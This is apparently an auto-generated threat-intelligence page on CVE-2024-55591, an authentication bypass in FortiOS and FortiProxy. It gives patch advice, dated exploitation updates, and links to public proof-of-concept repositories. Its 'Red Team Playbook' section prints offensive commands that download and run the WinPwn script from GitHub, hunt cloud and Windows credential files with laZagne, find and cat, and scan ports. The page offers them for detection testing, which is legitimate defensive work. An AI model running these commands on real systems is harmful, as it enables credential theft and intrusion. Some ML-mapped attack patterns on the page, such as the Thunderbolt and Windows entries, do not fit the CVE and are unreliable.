CVE-2024-55591
Overview
This vulnerability is an authentication bypass caused by improper validation in the Node.js websocket module of Fortinet FortiOS and FortiProxy. The root cause lies in the alternate path or channel that allows crafted requests to circumvent normal authentication mechanisms. The affected components include FortiOS versions 7.0.0 through 7.0.16 and FortiProxy versions 7.0.0 through 7.0.19 and 7.2.0 through 7.2.12, specifically within the websocket communication handling.
Vulnerability Description
An Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] affecting FortiOS version 7.0.0 through 7.0.16 and FortiProxy version 7.0.0 through 7.0.19 and 7.2.0 through 7.2.12 allows a remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module.
Impact
An unauthenticated remote attacker can gain super-administrator privileges on affected FortiOS and FortiProxy devices by exploiting this vulnerability. This access allows full control over device configuration and management interfaces, potentially leading to complete system compromise, data exfiltration, and disruption of network security controls. No prior authentication or user interaction is necessary, enabling attackers to escalate privileges and move laterally within the network environment.
Solution
Fortinet has released patches addressing this vulnerability in FortiOS starting from version 7.0.17 and FortiProxy starting from versions 7.0.20 and 7.2.13. Administrators should apply these updates immediately. Detailed patch instructions and advisory information are available at the Fortinet PSIRT advisory FG-IR-24-535 (https://fortiguard.fortinet.com/psirt/FG-IR-24-535). No workarounds are officially recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Correlated Groups
Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.
| Group | Confidence | Victims | Source |
|---|---|---|---|
|
Mora_001
|
MEDIUM | — | correlation_misp |
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in question pertains to an authentication bypass issue within specific versions of FortiOS and FortiProxy, which allows remote attackers to exploit crafted requests directed at the Node.js websocket module. This flaw arises from improper validation of authentication credentials, enabling unauthorized access to super-admin privileges. The affected versions span FortiOS 7.0.0 through 7.0.16 and FortiProxy 7.0.0 through 7.0.19, as well as 7.2.0 through 7.2.12. The exploitation of this vulnerability can occur without requiring physical access to the network, making it particularly concerning for organizations relying on these products for secure network operations.
Attack vectors for this vulnerability are primarily remote, leveraging crafted requests that exploit the underlying websocket module. An attacker could initiate a session with the vulnerable system, bypassing standard authentication mechanisms. By sending specifically formatted messages, the attacker can manipulate the system into granting super-admin privileges. This exploitation could be executed from anywhere on the internet, provided the attacker can reach the vulnerable service, significantly broadening the attack surface. Scenarios may include targeted attacks against organizations that use Fortinet products for web filtering, VPN services, or other critical network functions, where gaining super-admin access could lead to further compromise.
The real-world impact of this vulnerability is profound, particularly given its high CVSS score of 9.8, indicating critical severity. Organizations that utilize the affected versions of FortiOS and FortiProxy are at significant risk of unauthorized access, which could lead to data breaches, service disruptions, or the deployment of malicious payloads. The potential for a remote attacker to gain super-admin privileges means that they could manipulate configurations, exfiltrate sensitive data, or even pivot to other systems within the network. The business risk associated with such an incident includes not only financial losses but also reputational damage, regulatory penalties, and the costs associated with incident response and recovery.
To detect and mitigate this vulnerability, organizations should prioritize immediate updates to the latest patched versions of FortiOS and FortiProxy. Regularly applying security patches is crucial in maintaining the integrity of network security devices. Additionally, implementing robust monitoring solutions that can detect anomalous activity related to authentication processes is essential. Organizations should also consider employing network segmentation to limit the exposure of critical systems to untrusted networks. Intrusion detection systems (IDS) can be configured to alert administrators of suspicious websocket traffic patterns, providing an additional layer of defense.
In conclusion, the authentication bypass vulnerability in FortiOS and FortiProxy represents a significant threat to organizations utilizing these products. The ability for remote attackers to gain super-admin access through crafted requests underscores the need for vigilant security practices, including timely updates, continuous monitoring, and proactive incident response planning. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such critical threats in the evolving landscape of cybersecurity.
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2024-55591, reflecting a modest uptick in attacker activity leveraging this critical authentication bypass vulnerability. Although the EPSS score remains stable at a very high level, the observed rise in telemetry signals a growing interest among threat actors, including those linked to ransomware campaigns such as Mora_001. The persistence of multiple publicly available proof-of-concept exploits continues to lower the barrier for adversaries to weaponize this vulnerability, sustaining its attractiveness for opportunistic and targeted intrusions. This evolving exploitation landscape underscores an elevated risk profile for organizations running affected FortiOS and FortiProxy versions, as the vulnerability’s exploitation could facilitate unauthorized super-admin access, potentially enabling ransomware deployment or other malicious operations. Consequently, the threat level remains critical, with the recent activity indicating that exploitation attempts are becoming more frequent, warranting heightened vigilance in monitoring and detection efforts.
Update 2 — May 20, 2026
Recent updates to CVE-2024-55591 reveal a slight downward adjustment in its CVSS score from 9.8 to 9.6, accompanied by a marginal decrease in the Exploit Prediction Scoring System (EPSS) value. While these numerical changes suggest a modest recalibration of the vulnerability’s assessed severity and exploit likelihood, CSURFACE threat intelligence continues to detect sustained exploitation efforts, particularly linked to ransomware campaigns attributed to the Mora_001 group. The inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog with a defined remediation deadline further underscores its operational relevance. Additionally, the emergence of multiple new proof-of-concept exploits, including comprehensive Python-based tools, signals that adversaries are actively refining their capabilities to leverage this authentication bypass. For defenders, these developments emphasize the persistent and evolving threat posed by this vulnerability despite the slight score adjustments. The risk environment remains critical, as the vulnerability’s exploitation continues to facilitate unauthorized super-admin access, which can serve as a gateway for ransomware deployment and other malicious activities. Therefore, the threat level should be maintained at a critical posture, with continued emphasis on detection and response to exploitation attempts.
Update 3 — June 07, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-55591, accompanied by a refined upward adjustment in its CVSS score to 9.8, reflecting an increased consensus on the vulnerability’s criticality. Our telemetry indicates a sustained rise in adversary activity leveraging this authentication bypass, underscoring its continued attractiveness as a vector for unauthorized super-admin access. Notably, the vulnerability’s inclusion in the KEV catalog with a ransomware use designation highlights its growing exploitation in ransomware campaigns, particularly by groups such as Mora_001. Although the EPSS score shows a marginal increase, the overall risk environment remains highly volatile given the persistent detection of exploitation attempts and the availability of multiple proof-of-concept exploits circulating publicly. This evolution signifies that threat actors are intensifying efforts to weaponize this vulnerability, reinforcing the necessity for defenders to maintain heightened vigilance. Consequently, the threat level associated with CVE-2024-55591 remains critical, with an elevated potential for impactful breaches that could facilitate ransomware deployment and broader network compromise.
Update 4 — June 15, 2026
CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting CVE-2024-55591, accompanied by a measurable increase in the EPSS score, reflecting growing attacker interest and capability. This uptick coincides with the recent inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, which underscores its elevated priority within the threat landscape. Our telemetry indicates that ransomware groups linked to Mora_001 continue to leverage this authentication bypass flaw, reinforcing its role as a vector for high-impact ransomware campaigns. Additionally, the proliferation of multiple publicly available proof-of-concept exploits has lowered the barrier to entry for adversaries, facilitating broader exploitation attempts. Collectively, these developments signify a heightened operational tempo among threat actors, increasing the likelihood of successful intrusions and subsequent privilege escalations. Consequently, the threat level associated with CVE-2024-55591 has intensified, warranting sustained attention as it remains a critical risk for organizations deploying affected Fortinet products.
Update 5 — June 22, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-55591, evidenced by a significant uptick in telemetry signals. This increase coincides with the vulnerability’s recent inclusion in the Known Exploited Vulnerabilities (KEV) catalog, underscoring its growing appeal to threat actors. Notably, ransomware groups linked to the Mora_001 cluster continue to leverage this authentication bypass flaw, reinforcing its role as a critical enabler for high-impact intrusion campaigns. Although the Exploit Prediction Scoring System (EPSS) score remains near maximal, the sustained upward trend in exploitation activity signals an intensifying operational tempo. For defenders, this evolving landscape heightens the urgency of monitoring for exploitation indicators and reinforces the vulnerability’s status as a top-tier risk. The convergence of public proof-of-concept availability, KEV designation, and active ransomware exploitation collectively elevate the threat level, demanding continued vigilance across affected Fortinet environments.
Update 6 — July 09, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-55591, reflecting a sustained increase in adversary activity leveraging this critical authentication bypass vulnerability. Although the CVSS score was slightly adjusted downward to 9.6, this recalibration does not diminish the operational impact observed through our telemetry. The vulnerability’s inclusion in the KEV catalog and its confirmed use in ransomware campaigns, particularly by the Mora_001 group, underscore its continued strategic value to threat actors. Public availability of multiple proof-of-concept exploits has likely contributed to the broader exploitation footprint, facilitating easier weaponization and accelerating attack campaigns. Despite a stable EPSS score, the uptick in exploitation attempts signals an intensifying threat environment that demands heightened situational awareness. Consequently, the risk level remains critically high, with adversaries actively capitalizing on this vulnerability to achieve super-admin access and potentially deploy ransomware payloads, reinforcing the imperative for defenders to maintain vigilant monitoring within affected Fortinet infrastructures.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (8)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591
|
watchtowrlabs | 77 | 19 | 2025-01-27 | View |
|
watchtowrlabs/fortios-auth-bypass-check-CVE-2024-55591
|
watchtowrlabs | 66 | 13 | 2025-01-16 | View |
|
sysirq/fortios-auth-bypass-poc-CVE-2024-55591
|
sysirq | 26 | 11 | 2025-01-21 | View |
|
exfil0/CVE-2024-55591-POC
A comprehensive all-in-one Python-based Proof of Concept script to discover and exploit a critical authentication bypass...
|
exfil0 | 12 | 9 | 2025-01-29 | View |
|
virus-or-not/CVE-2024-55591
An Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] affecting FortiOS and FortiProxy may...
|
virus-or-not | 8 | 4 | 2025-01-24 | View |
|
sysirq/fortios-auth-bypass-exploit-CVE-2024-55591
|
sysirq | 3 | 0 | 2025-01-22 | View |
|
UMChacker/CVE-2024-55591-POC
|
UMChacker | 2 | 0 | 2025-05-26 | View |
|
0x7556/CVE-2024-55591
|
0x7556 | 0 | 0 | 2025-02-09 | View |
Ransomware Groups 1
Threat Feed
23 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-55591 |
| fortiguard.fortinet.com |
GitHub CVE
|
https://fortiguard.fortinet.com/psirt/FG-IR-24-535 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-55591 |